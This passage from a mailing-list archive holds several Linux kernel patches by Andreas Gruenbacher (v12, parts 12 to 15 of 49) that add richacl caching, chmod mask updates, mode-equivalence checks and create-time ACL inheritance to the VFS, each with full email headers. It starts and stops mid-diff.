@@ struct inode_operations { umode_t create_mode, int *opened); int (*tmpfile) (struct inode *, struct dentry *, umode_t); int (*set_acl)(struct inode *, struct posix_acl *, int); + int (*set_richacl)(struct inode *, struct richacl *); /* WARNING: probably going away soon, do not use! */ } ____cacheline_aligned; -- 2.5.0 From agruenba@redhat.com Fri Oct 23 13:43:34 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 92DA17F52 for ; Fri, 23 Oct 2015 13:43:34 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 65E8E304059 for ; Fri, 23 Oct 2015 11:43:34 -0700 (PDT) X-ASG-Debug-ID: 1445625812-04bdf0330c414c0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id eSBRq1LQ1u8U9Rhb (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Fri, 23 Oct 2015 11:43:33 -0700 (PDT) X-Barracuda-Envelope-From: agruenba@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx13.intmail.prod.int.phx2.redhat.com (int-mx13.intmail.prod.int.phx2.redhat.com [10.5.11.26]) by mx1.redhat.com (Postfix) with ESMTPS id AAF99341AC4; Fri, 23 Oct 2015 18:43:32 +0000 (UTC) Received: from nux.redhat.com (vpn1-7-119.ams2.redhat.com [10.36.7.119]) by int-mx13.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9NIg3ef026588; Fri, 23 Oct 2015 14:43:26 -0400 From: Andreas Gruenbacher To: Alexander Viro , "Theodore Ts'o" , Andreas Dilger , "J. Bruce Fields" , Jeff Layton , Trond Myklebust , Anna Schumaker , Dave Chinner , linux-ext4@vger.kernel.org, xfs@oss.sgi.com, linux-kernel@vger.kernel.org, linux-fsdevel@vger.kernel.org, linux-nfs@vger.kernel.org, linux-cifs@vger.kernel.org, linux-api@vger.kernel.org Cc: Andreas Gruenbacher Subject: [PATCH v12 12/49] vfs: Cache richacl in struct inode Date: Fri, 23 Oct 2015 20:41:25 +0200 X-ASG-Orig-Subj: [PATCH v12 12/49] vfs: Cache richacl in struct inode Message-Id: <1445625722-13791-13-git-send-email-agruenba@redhat.com> In-Reply-To: <1445625722-13791-1-git-send-email-agruenba@redhat.com> References: <1445625722-13791-1-git-send-email-agruenba@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.26 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1445625812 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Cache richacls in struct inode so that this doesn't have to be done individually in each filesystem. This is similar to POSIX ACLs. Signed-off-by: Andreas Gruenbacher --- fs/inode.c | 11 ++++++-- fs/posix_acl.c | 2 +- fs/richacl_base.c | 4 +-- fs/richacl_inode.c | 75 +++++++++++++++++++++++++++++++++++++++++++++++++ include/linux/fs.h | 5 +++- include/linux/richacl.h | 15 ++++++---- 6 files changed, 100 insertions(+), 12 deletions(-) diff --git a/fs/inode.c b/fs/inode.c index 2a387f4..8462ddb 100644 --- a/fs/inode.c +++ b/fs/inode.c @@ -174,8 +174,11 @@ int inode_init_always(struct super_block *sb, struct inode *inode) inode->i_private = NULL; inode->i_mapping = mapping; INIT_HLIST_HEAD(&inode->i_dentry); /* buggered by rcu freeing */ -#ifdef CONFIG_FS_POSIX_ACL - inode->i_acl = inode->i_default_acl = ACL_NOT_CACHED; +#if defined(CONFIG_FS_POSIX_ACL) || defined(CONFIG_FS_RICHACL) + inode->i_acl = ACL_NOT_CACHED; +# if defined(CONFIG_FS_POSIX_ACL) + inode->i_default_acl = ACL_NOT_CACHED; +# endif #endif #ifdef CONFIG_FSNOTIFY @@ -231,11 +234,13 @@ void __destroy_inode(struct inode *inode) atomic_long_dec(&inode->i_sb->s_remove_count); } -#ifdef CONFIG_FS_POSIX_ACL +#if defined(CONFIG_FS_POSIX_ACL) || defined(CONFIG_FS_RICHACL) if (inode->i_acl && inode->i_acl != ACL_NOT_CACHED) put_base_acl(inode->i_acl); +# if defined(CONFIG_FS_POSIX_ACL) if (inode->i_default_acl && inode->i_default_acl != ACL_NOT_CACHED) put_base_acl(inode->i_default_acl); +# endif #endif this_cpu_dec(nr_inodes); } diff --git a/fs/posix_acl.c b/fs/posix_acl.c index b3b2265..1d766a5 100644 --- a/fs/posix_acl.c +++ b/fs/posix_acl.c @@ -38,7 +38,7 @@ struct posix_acl *get_cached_acl(struct inode *inode, int type) { struct posix_acl **p = acl_by_type(inode, type); struct posix_acl *acl = ACCESS_ONCE(*p); - if (acl) { + if (acl && IS_POSIXACL(inode)) { spin_lock(&inode->i_lock); acl = *p; if (acl != ACL_NOT_CACHED) diff --git a/fs/richacl_base.c b/fs/richacl_base.c index 69b806c..d0ab5e9 100644 --- a/fs/richacl_base.c +++ b/fs/richacl_base.c @@ -33,7 +33,7 @@ richacl_alloc(int count, gfp_t gfp) struct richacl *acl = kzalloc(size, gfp); if (acl) { - atomic_set(&acl->a_refcount, 1); + atomic_set(&acl->a_base.ba_refcount, 1); acl->a_count = count; } return acl; @@ -52,7 +52,7 @@ richacl_clone(const struct richacl *acl, gfp_t gfp) if (dup) { memcpy(dup, acl, size); - atomic_set(&dup->a_refcount, 1); + atomic_set(&dup->a_base.ba_refcount, 1); } return dup; } diff --git a/fs/richacl_inode.c b/fs/richacl_inode.c index 99b3c93..c41a6c4 100644 --- a/fs/richacl_inode.c +++ b/fs/richacl_inode.c @@ -20,6 +20,81 @@ #include #include +struct richacl *get_cached_richacl(struct inode *inode) +{ + struct richacl *acl; + + acl = (struct richacl *)ACCESS_ONCE(inode->i_acl); + if (acl && IS_RICHACL(inode)) { + spin_lock(&inode->i_lock); + acl = (struct richacl *)inode->i_acl; + if (acl != ACL_NOT_CACHED) + acl = richacl_get(acl); + spin_unlock(&inode->i_lock); + } + return acl; +} +EXPORT_SYMBOL_GPL(get_cached_richacl); + +struct richacl *get_cached_richacl_rcu(struct inode *inode) +{ + return (struct richacl *)rcu_dereference(inode->i_acl); +} +EXPORT_SYMBOL_GPL(get_cached_richacl_rcu); + +void set_cached_richacl(struct inode *inode, struct richacl *acl) +{ + struct base_acl *old = NULL; + + spin_lock(&inode->i_lock); + old = inode->i_acl; + rcu_assign_pointer(inode->i_acl, &richacl_get(acl)->a_base); + spin_unlock(&inode->i_lock); + if (old != ACL_NOT_CACHED) + put_base_acl(old); +} +EXPORT_SYMBOL_GPL(set_cached_richacl); + +void forget_cached_richacl(struct inode *inode) +{ + struct base_acl *old = NULL; + + spin_lock(&inode->i_lock); + old = inode->i_acl; + inode->i_acl = ACL_NOT_CACHED; + spin_unlock(&inode->i_lock); + if (old != ACL_NOT_CACHED) + put_base_acl(old); +} +EXPORT_SYMBOL_GPL(forget_cached_richacl); + +struct richacl *get_richacl(struct inode *inode) +{ + struct richacl *acl; + + acl = get_cached_richacl(inode); + if (acl != ACL_NOT_CACHED) + return acl; + + if (!IS_RICHACL(inode)) + return NULL; + + /* + * A filesystem can force a ACL callback by just never filling the + * ACL cache. But normally you'd fill the cache either at inode + * instantiation time, or on the first ->get_richacl call. + * + * If the filesystem doesn't have a get_richacl() function at all, + * we'll just create the negative cache entry. + */ + if (!inode->i_op->get_richacl) { + set_cached_richacl(inode, NULL); + return NULL; + } + return inode->i_op->get_richacl(inode); +} +EXPORT_SYMBOL_GPL(get_richacl); + /** * richacl_permission - richacl permission check algorithm * @inode: inode to check diff --git a/include/linux/fs.h b/include/linux/fs.h index 08fde42..d91deef 100644 --- a/include/linux/fs.h +++ b/include/linux/fs.h @@ -583,6 +583,7 @@ struct base_acl { }; }; struct posix_acl; +struct richacl; #define ACL_NOT_CACHED ((void *)(-1)) #define IOP_FASTPERM 0x0001 @@ -601,9 +602,11 @@ struct inode { kgid_t i_gid; unsigned int i_flags; -#if defined(CONFIG_FS_POSIX_ACL) +#if defined(CONFIG_FS_POSIX_ACL) || defined(CONFIG_FS_RICHACL) struct base_acl *i_acl; +# if defined(CONFIG_FS_POSIX_ACL) struct base_acl *i_default_acl; +# endif #endif const struct inode_operations *i_op; diff --git a/include/linux/richacl.h b/include/linux/richacl.h index 2baef35..de7d0d9 100644 --- a/include/linux/richacl.h +++ b/include/linux/richacl.h @@ -31,7 +31,7 @@ struct richace { }; struct richacl { - atomic_t a_refcount; + struct base_acl a_base; unsigned int a_owner_mask; unsigned int a_group_mask; unsigned int a_other_mask; @@ -56,8 +56,7 @@ struct richacl { static inline struct richacl * richacl_get(struct richacl *acl) { - if (acl) - atomic_inc(&acl->a_base.ba_refcount); + get_base_acl(&acl->a_base); return acl; } @@ -67,10 +66,16 @@ richacl_get(struct richacl *acl) static inline void richacl_put(struct richacl *acl) { - if (acl && atomic_dec_and_test(&acl->a_refcount)) - kfree(acl); + BUILD_BUG_ON(offsetof(struct richacl, a_base) != 0); + put_base_acl(&acl->a_base); } +extern struct richacl *get_cached_richacl(struct inode *); +extern struct richacl *get_cached_richacl_rcu(struct inode *); +extern void set_cached_richacl(struct inode *, struct richacl *); +extern void forget_cached_richacl(struct inode *); +extern struct richacl *get_richacl(struct inode *); + /** * richace_is_owner - check if @ace is an OWNER@ entry */ -- 2.5.0 From agruenba@redhat.com Fri Oct 23 13:43:41 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 0B9FB7F50 for ; Fri, 23 Oct 2015 13:43:41 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id D2CDE304059 for ; Fri, 23 Oct 2015 11:43:40 -0700 (PDT) X-ASG-Debug-ID: 1445625819-04bdf0330a414d0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id kI3Xk5cm1XeeQgHB (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Fri, 23 Oct 2015 11:43:39 -0700 (PDT) X-Barracuda-Envelope-From: agruenba@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx13.intmail.prod.int.phx2.redhat.com (int-mx13.intmail.prod.int.phx2.redhat.com [10.5.11.26]) by mx1.redhat.com (Postfix) with ESMTPS id 6FE73C0AF799; Fri, 23 Oct 2015 18:43:39 +0000 (UTC) Received: from nux.redhat.com (vpn1-7-119.ams2.redhat.com [10.36.7.119]) by int-mx13.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9NIg3eg026588; Fri, 23 Oct 2015 14:43:33 -0400 From: Andreas Gruenbacher To: Alexander Viro , "Theodore Ts'o" , Andreas Dilger , "J. Bruce Fields" , Jeff Layton , Trond Myklebust , Anna Schumaker , Dave Chinner , linux-ext4@vger.kernel.org, xfs@oss.sgi.com, linux-kernel@vger.kernel.org, linux-fsdevel@vger.kernel.org, linux-nfs@vger.kernel.org, linux-cifs@vger.kernel.org, linux-api@vger.kernel.org Cc: Andreas Gruenbacher Subject: [PATCH v12 13/49] richacl: Update the file masks in chmod() Date: Fri, 23 Oct 2015 20:41:26 +0200 X-ASG-Orig-Subj: [PATCH v12 13/49] richacl: Update the file masks in chmod() Message-Id: <1445625722-13791-14-git-send-email-agruenba@redhat.com> In-Reply-To: <1445625722-13791-1-git-send-email-agruenba@redhat.com> References: <1445625722-13791-1-git-send-email-agruenba@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.26 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1445625819 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Doing a chmod() sets the file mode, which includes the file permission bits. When a file has a richacl, the permissions that the richacl grants need to be limited to what the new file permission bits allow. This is done by setting the file masks in the richacl to what the file permission bits map to. The richacl access check algorithm takes the file masks into account, which ensures that the richacl cannot grant too many permissions. It is possible to explicitly add permissions to the file masks which go beyond what the file permission bits can grant (like the RICHACE_WRITE_ACL permission). The POSIX.1 standard calls this an alternate file access control mechanism. A subsequent chmod() would ensure that those permissions are disabled again. Signed-off-by: Andreas Gruenbacher Reviewed-by: J. Bruce Fields --- fs/richacl_base.c | 42 ++++++++++++++++++++++++++++++++++++++++++ fs/richacl_inode.c | 30 ++++++++++++++++++++++++++++++ include/linux/richacl.h | 2 ++ 3 files changed, 74 insertions(+) diff --git a/fs/richacl_base.c b/fs/richacl_base.c index d0ab5e9..00e87be 100644 --- a/fs/richacl_base.c +++ b/fs/richacl_base.c @@ -340,3 +340,45 @@ restart: acl->a_flags &= ~(RICHACL_WRITE_THROUGH | RICHACL_MASKED); } EXPORT_SYMBOL_GPL(richacl_compute_max_masks); + +/** + * __richacl_chmod - update the file masks to reflect the new mode + * @acl: access control list + * @mode: new file permission bits including the file type + * + * Return a copy of @acl where the file masks have been replaced by the file + * masks corresponding to the file permission bits in @mode, or returns @acl + * itself if the file masks are already up to date. Takes over a reference + * to @acl. + */ +struct richacl * +__richacl_chmod(struct richacl *acl, umode_t mode) +{ + unsigned int x = S_ISDIR(mode) ? 0 : RICHACE_DELETE_CHILD; + unsigned int owner_mask, group_mask, other_mask; + struct richacl *clone; + + owner_mask = richacl_mode_to_mask(mode >> 6) & ~x; + group_mask = richacl_mode_to_mask(mode >> 3) & ~x; + other_mask = richacl_mode_to_mask(mode) & ~x; + + if (acl->a_owner_mask == owner_mask && + acl->a_group_mask == group_mask && + acl->a_other_mask == other_mask && + (acl->a_flags & RICHACL_MASKED) && + (acl->a_flags & RICHACL_WRITE_THROUGH)) + return acl; + + clone = richacl_clone(acl, GFP_KERNEL); + richacl_put(acl); + if (!clone) + return ERR_PTR(-ENOMEM); + + clone->a_flags |= (RICHACL_WRITE_THROUGH | RICHACL_MASKED); + clone->a_owner_mask = owner_mask; + clone->a_group_mask = group_mask; + clone->a_other_mask = other_mask; + + return clone; +} +EXPORT_SYMBOL_GPL(__richacl_chmod); diff --git a/fs/richacl_inode.c b/fs/richacl_inode.c index c41a6c4..301f246 100644 --- a/fs/richacl_inode.c +++ b/fs/richacl_inode.c @@ -222,3 +222,33 @@ out: return denied ? -EACCES : 0; } EXPORT_SYMBOL_GPL(richacl_permission); + +/** + * richacl_chmod - filesystem chmod helper + * @inode: inode whose file permission bits to change + * @mode: new file permission bits including the file type + * + * Helper for filesystems to use to perform a chmod on the richacl of an inode. + */ +int +richacl_chmod(struct inode *inode, umode_t mode) +{ + struct richacl *acl; + int retval; + + if (S_ISLNK(mode)) + return -EOPNOTSUPP; + if (!inode->i_op->set_richacl) + return -EOPNOTSUPP; + acl = get_richacl(inode); + if (IS_ERR_OR_NULL(acl)) + return PTR_ERR(acl); + acl = __richacl_chmod(acl, mode); + if (IS_ERR(acl)) + return PTR_ERR(acl); + retval = inode->i_op->set_richacl(inode, acl); + richacl_put(acl); + + return retval; +} +EXPORT_SYMBOL(richacl_chmod); diff --git a/include/linux/richacl.h b/include/linux/richacl.h index de7d0d9..3626314 100644 --- a/include/linux/richacl.h +++ b/include/linux/richacl.h @@ -184,8 +184,10 @@ extern int richacl_masks_to_mode(const struct richacl *); extern unsigned int richacl_mode_to_mask(umode_t); extern unsigned int richacl_want_to_mask(unsigned int); extern void richacl_compute_max_masks(struct richacl *); +extern struct richacl *__richacl_chmod(struct richacl *, umode_t); /* richacl_inode.c */ extern int richacl_permission(struct inode *, const struct richacl *, int); +extern int richacl_chmod(struct inode *, umode_t); #endif /* __RICHACL_H */ -- 2.5.0 From agruenba@redhat.com Fri Oct 23 13:43:47 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id D5F637F60 for ; Fri, 23 Oct 2015 13:43:47 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id C5B46304062 for ; Fri, 23 Oct 2015 11:43:47 -0700 (PDT) X-ASG-Debug-ID: 1445625826-04cbb0660f3f160001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id EpHacTr3Qr820VfH (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Fri, 23 Oct 2015 11:43:46 -0700 (PDT) X-Barracuda-Envelope-From: agruenba@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx13.intmail.prod.int.phx2.redhat.com (int-mx13.intmail.prod.int.phx2.redhat.com [10.5.11.26]) by mx1.redhat.com (Postfix) with ESMTPS id 220298EA37; Fri, 23 Oct 2015 18:43:46 +0000 (UTC) Received: from nux.redhat.com (vpn1-7-119.ams2.redhat.com [10.36.7.119]) by int-mx13.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9NIg3eh026588; Fri, 23 Oct 2015 14:43:40 -0400 From: Andreas Gruenbacher To: Alexander Viro , "Theodore Ts'o" , Andreas Dilger , "J. Bruce Fields" , Jeff Layton , Trond Myklebust , Anna Schumaker , Dave Chinner , linux-ext4@vger.kernel.org, xfs@oss.sgi.com, linux-kernel@vger.kernel.org, linux-fsdevel@vger.kernel.org, linux-nfs@vger.kernel.org, linux-cifs@vger.kernel.org, linux-api@vger.kernel.org Cc: Andreas Gruenbacher Subject: [PATCH v12 14/49] richacl: Check if an acl is equivalent to a file mode Date: Fri, 23 Oct 2015 20:41:27 +0200 X-ASG-Orig-Subj: [PATCH v12 14/49] richacl: Check if an acl is equivalent to a file mode Message-Id: <1445625722-13791-15-git-send-email-agruenba@redhat.com> In-Reply-To: <1445625722-13791-1-git-send-email-agruenba@redhat.com> References: <1445625722-13791-1-git-send-email-agruenba@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.26 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1445625826 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 ACLs are considered equivalent to file modes if they only consist of owner@, group@, and everyone@ entries, the owner@ permissions do not depend on whether the owner is a member in the owning group, and no inheritance flags are set. This test is used to avoid storing richacls if the acl can be computed from the file permission bits. Signed-off-by: Andreas Gruenbacher Reviewed-by: J. Bruce Fields --- fs/richacl_base.c | 104 ++++++++++++++++++++++++++++++++++++++++++++++++ include/linux/richacl.h | 1 + 2 files changed, 105 insertions(+) diff --git a/fs/richacl_base.c b/fs/richacl_base.c index 00e87be..56b5ad6 100644 --- a/fs/richacl_base.c +++ b/fs/richacl_base.c @@ -382,3 +382,107 @@ __richacl_chmod(struct richacl *acl, umode_t mode) return clone; } EXPORT_SYMBOL_GPL(__richacl_chmod); + +/** + * richacl_equiv_mode - compute the mode equivalent of @acl + * + * An acl is considered equivalent to a file mode if it only consists of + * owner@, group@, and everyone@ entries and the owner@ permissions do not + * depend on whether the owner is a member in the owning group. + */ +int +richacl_equiv_mode(const struct richacl *acl, umode_t *mode_p) +{ + umode_t mode = *mode_p; + + /* + * The RICHACE_DELETE_CHILD flag is meaningless for non-directories, so + * we ignore it. + */ + unsigned int x = S_ISDIR(mode) ? 0 : RICHACE_DELETE_CHILD; + struct { + unsigned int allowed; + unsigned int defined; /* allowed or denied */ + } owner = { + .defined = RICHACE_POSIX_ALWAYS_ALLOWED | + RICHACE_POSIX_OWNER_ALLOWED | x, + }, group = { + .defined = RICHACE_POSIX_ALWAYS_ALLOWED | x, + }, everyone = { + .defined = RICHACE_POSIX_ALWAYS_ALLOWED | x, + }; + const struct richace *ace; + + if (acl->a_flags & ~(RICHACL_WRITE_THROUGH | RICHACL_MASKED)) + return -1; + + richacl_for_each_entry(ace, acl) { + if (ace->e_flags & ~RICHACE_SPECIAL_WHO) + return -1; + + if (richace_is_owner(ace) || richace_is_everyone(ace)) { + x = ace->e_mask & ~owner.defined; + if (richace_is_allow(ace)) { + unsigned int group_denied = + group.defined & ~group.allowed; + + if (x & group_denied) + return -1; + owner.allowed |= x; + } else /* if (richace_is_deny(ace)) */ { + if (x & group.allowed) + return -1; + } + owner.defined |= x; + + if (richace_is_everyone(ace)) { + x = ace->e_mask; + if (richace_is_allow(ace)) { + group.allowed |= + x & ~group.defined; + everyone.allowed |= + x & ~everyone.defined; + } + group.defined |= x; + everyone.defined |= x; + } + } else if (richace_is_group(ace)) { + x = ace->e_mask & ~group.defined; + if (richace_is_allow(ace)) + group.allowed |= x; + group.defined |= x; + } else + return -1; + } + + if (group.allowed & ~owner.defined) + return -1; + + if (acl->a_flags & RICHACL_MASKED) { + if (acl->a_flags & RICHACL_WRITE_THROUGH) { + owner.allowed = acl->a_owner_mask; + everyone.allowed = acl->a_other_mask; + } else { + owner.allowed &= acl->a_owner_mask; + everyone.allowed &= acl->a_other_mask; + } + group.allowed &= acl->a_group_mask; + } + + mode = (mode & ~S_IRWXUGO) | + (richacl_mask_to_mode(owner.allowed) << 6) | + (richacl_mask_to_mode(group.allowed) << 3) | + richacl_mask_to_mode(everyone.allowed); + + /* Mask flags we can ignore */ + x = S_ISDIR(mode) ? 0 : RICHACE_DELETE_CHILD; + + if (((richacl_mode_to_mask(mode >> 6) ^ owner.allowed) & ~x) || + ((richacl_mode_to_mask(mode >> 3) ^ group.allowed) & ~x) || + ((richacl_mode_to_mask(mode) ^ everyone.allowed) & ~x)) + return -1; + + *mode_p = mode; + return 0; +} +EXPORT_SYMBOL_GPL(richacl_equiv_mode); diff --git a/include/linux/richacl.h b/include/linux/richacl.h index 3626314..ddd5aa6 100644 --- a/include/linux/richacl.h +++ b/include/linux/richacl.h @@ -185,6 +185,7 @@ extern unsigned int richacl_mode_to_mask(umode_t); extern unsigned int richacl_want_to_mask(unsigned int); extern void richacl_compute_max_masks(struct richacl *); extern struct richacl *__richacl_chmod(struct richacl *, umode_t); +extern int richacl_equiv_mode(const struct richacl *, umode_t *); /* richacl_inode.c */ extern int richacl_permission(struct inode *, const struct richacl *, int); -- 2.5.0 From agruenba@redhat.com Fri Oct 23 13:43:54 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id A87D429E08 for ; Fri, 23 Oct 2015 13:43:54 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 979058F8035 for ; Fri, 23 Oct 2015 11:43:54 -0700 (PDT) X-ASG-Debug-ID: 1445625833-04cb6c7b863dfb0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id ZfyUz0FSNjSCjOWT (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Fri, 23 Oct 2015 11:43:53 -0700 (PDT) X-Barracuda-Envelope-From: agruenba@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx13.intmail.prod.int.phx2.redhat.com (int-mx13.intmail.prod.int.phx2.redhat.com [10.5.11.26]) by mx1.redhat.com (Postfix) with ESMTPS id D5EC78F2E4; Fri, 23 Oct 2015 18:43:52 +0000 (UTC) Received: from nux.redhat.com (vpn1-7-119.ams2.redhat.com [10.36.7.119]) by int-mx13.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9NIg3ei026588; Fri, 23 Oct 2015 14:43:46 -0400 From: Andreas Gruenbacher To: Alexander Viro , "Theodore Ts'o" , Andreas Dilger , "J. Bruce Fields" , Jeff Layton , Trond Myklebust , Anna Schumaker , Dave Chinner , linux-ext4@vger.kernel.org, xfs@oss.sgi.com, linux-kernel@vger.kernel.org, linux-fsdevel@vger.kernel.org, linux-nfs@vger.kernel.org, linux-cifs@vger.kernel.org, linux-api@vger.kernel.org Cc: Andreas Gruenbacher Subject: [PATCH v12 15/49] richacl: Create-time inheritance Date: Fri, 23 Oct 2015 20:41:28 +0200 X-ASG-Orig-Subj: [PATCH v12 15/49] richacl: Create-time inheritance Message-Id: <1445625722-13791-16-git-send-email-agruenba@redhat.com> In-Reply-To: <1445625722-13791-1-git-send-email-agruenba@redhat.com> References: <1445625722-13791-1-git-send-email-agruenba@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.26 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1445625833 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 When a new file is created, it can inherit an acl from its parent directory; this is similar to how default acls work in POSIX (draft) ACLs. As with POSIX ACLs, if a file inherits an acl from its parent directory, the intersection between the create mode and the permissions granted by the inherited acl determines the file masks and file permission bits, and the umask is ignored. Signed-off-by: Andreas Gruenbacher Reviewed-by: J. Bruce Fields --- fs/richacl_base.c | 68 +++++++++++++++++++++++++++++++++++++++++++++++ fs/richacl_inode.c | 70 +++++++++++++++++++++++++++++++++++++++++++++++++ include/linux/richacl.h | 2 ++ 3 files changed, 140 insertions(+) diff --git a/fs/richacl_base.c b/fs/richacl_base.c index 56b5ad6..9f7d91d 100644 --- a/fs/richacl_base.c +++ b/fs/richacl_base.c @@ -486,3 +486,71 @@ richacl_equiv_mode(const struct richacl *acl, umode_t *mode_p) return 0; } EXPORT_SYMBOL_GPL(richacl_equiv_mode); + +/** + * richacl_inherit - compute the inherited acl of a new file + * @dir_acl: acl of the containing directory + * @isdir: inherit by a directory or non-directory? + * + * A directory can have acl entries which files and/or directories created + * inside the directory will inherit. This function computes the acl for such + * a new file. If there is no inheritable acl, it will return %NULL. + */ +struct richacl * +richacl_inherit(const struct richacl *dir_acl, int isdir) +{ + const struct richace *dir_ace; + struct richacl *acl = NULL; + struct richace *ace; + int count = 0; + + if (isdir) { + richacl_for_each_entry(dir_ace, dir_acl) { + if (!richace_is_inheritable(dir_ace)) + continue; + count++; + } + if (!count) + return NULL; + acl = richacl_alloc(count, GFP_KERNEL); + if (!acl) + return ERR_PTR(-ENOMEM); + ace = acl->a_entries; + richacl_for_each_entry(dir_ace, dir_acl) { + if (!richace_is_inheritable(dir_ace)) + continue; + richace_copy(ace, dir_ace); + if (dir_ace->e_flags & RICHACE_NO_PROPAGATE_INHERIT_ACE) + ace->e_flags &= ~RICHACE_INHERITANCE_FLAGS; + else if (!(dir_ace->e_flags & RICHACE_DIRECTORY_INHERIT_ACE)) + ace->e_flags |= RICHACE_INHERIT_ONLY_ACE; + ace++; + } + } else { + richacl_for_each_entry(dir_ace, dir_acl) { + if (!(dir_ace->e_flags & RICHACE_FILE_INHERIT_ACE)) + continue; + count++; + } + if (!count) + return NULL; + acl = richacl_alloc(count, GFP_KERNEL); + if (!acl) + return ERR_PTR(-ENOMEM); + ace = acl->a_entries; + richacl_for_each_entry(dir_ace, dir_acl) { + if (!(dir_ace->e_flags & RICHACE_FILE_INHERIT_ACE)) + continue; + richace_copy(ace, dir_ace); + ace->e_flags &= ~RICHACE_INHERITANCE_FLAGS; + /* + * RICHACE_DELETE_CHILD is meaningless for + * non-directories, so clear it. + */ + ace->e_mask &= ~RICHACE_DELETE_CHILD; + ace++; + } + } + + return acl; +} diff --git a/fs/richacl_inode.c b/fs/richacl_inode.c index 301f246..d2bf076 100644 --- a/fs/richacl_inode.c +++ b/fs/richacl_inode.c @@ -252,3 +252,73 @@ richacl_chmod(struct inode *inode, umode_t mode) return retval; } EXPORT_SYMBOL(richacl_chmod); + +/* + * richacl_inherit_inode - compute inherited acl and file mode + * @dir_acl: acl of the containing directory + * @mode_p: mode of the new inode + * + * The file permission bits in @mode_p must be set to the create mode by the + * caller. + * + * If there is an inheritable acl, the maximum permissions that the acl grants + * are computed and the file masks of the new acl are set accordingly. + */ +static struct richacl * +richacl_inherit_inode(const struct richacl *dir_acl, umode_t *mode_p) +{ + struct 